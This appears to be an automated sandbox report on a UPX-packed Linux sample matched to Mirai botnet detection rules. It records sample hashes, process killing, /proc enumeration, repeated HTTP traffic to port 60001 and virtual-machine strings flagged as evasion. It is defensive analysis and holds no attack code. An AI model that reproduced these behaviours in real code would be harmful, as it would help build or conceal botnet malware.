fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Sample tries to kill a process (SIGKILL)

Source: /tmp/1xtO9V8ku8 (PID: 5225)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	SIGKILL sent: pid: 5225, result: successful	Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.lin@0/53@0/0

Data Obfuscation:

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior:

Enumerates processes within the "proc" file system

Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/796/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/799/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/785/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/788/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/789/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/847/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/904/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2033/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2275/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1612/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2028/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/3236/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2025/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2146/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1594/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2285/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2281/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1349/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1623/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1622/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1983/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2038/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1586/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1465/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1344/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1860/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1463/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2156/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1629/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1627/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1900/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2294/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2050/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/5040/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1877/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1633/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1599/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1632/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1477/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1476/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1872/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2048/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1475/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2289/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1639/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1638/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2208/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2180/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/5179/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1809/fd	Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /usr/sbin/invoke-rc.d (PID: 5420)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5422)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5428)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /usr/sbin/logrotate (PID: 5416)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5424)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58706 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58706
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58560 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45652 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45660 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 47086 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 47086
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46314 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001

Malware Analysis System Evasion:

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /usr/bin/find (PID: 5409)

Queries kernel information via 'uname':

Jump to behavior

Deletes log files

Source: /usr/sbin/logrotate (PID: 5374)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5374)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 5419.34.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5419.34.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5419.34.dr	Binary or memory string: qemu-or1k
Source: 5419.34.dr	Binary or memory string: qemu-riscv64
Source: 5419.34.dr	Binary or memory string: {cqemu
Source: 5419.34.dr	Binary or memory string: qemu-arm
Source: 5419.34.dr	Binary or memory string: (qemu
Source: 5419.34.dr	Binary or memory string: qemu-tilegx
Source: 5419.34.dr	Binary or memory string: qemu-hppa
Source: 5419.34.dr	Binary or memory string: q{rqemu%
Source: 5419.34.dr	Binary or memory string: )qemu
Source: 5419.34.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5419.34.dr	Binary or memory string: qemu-ppc
Source: 5419.34.dr	Binary or memory string: Tqemu9
Source: 5419.34.dr	Binary or memory string: qemu-aarch64_be
Source: 5419.34.dr	Binary or memory string: 0qemu9
Source: 5419.34.dr	Binary or memory string: qemu-sparc64
Source: 5419.34.dr	Binary or memory string: qemu-mips64
Source: 5419.34.dr	Binary or memory string: vV:qemu9
Source: 5419.34.dr	Binary or memory string: qemu-ppc64le
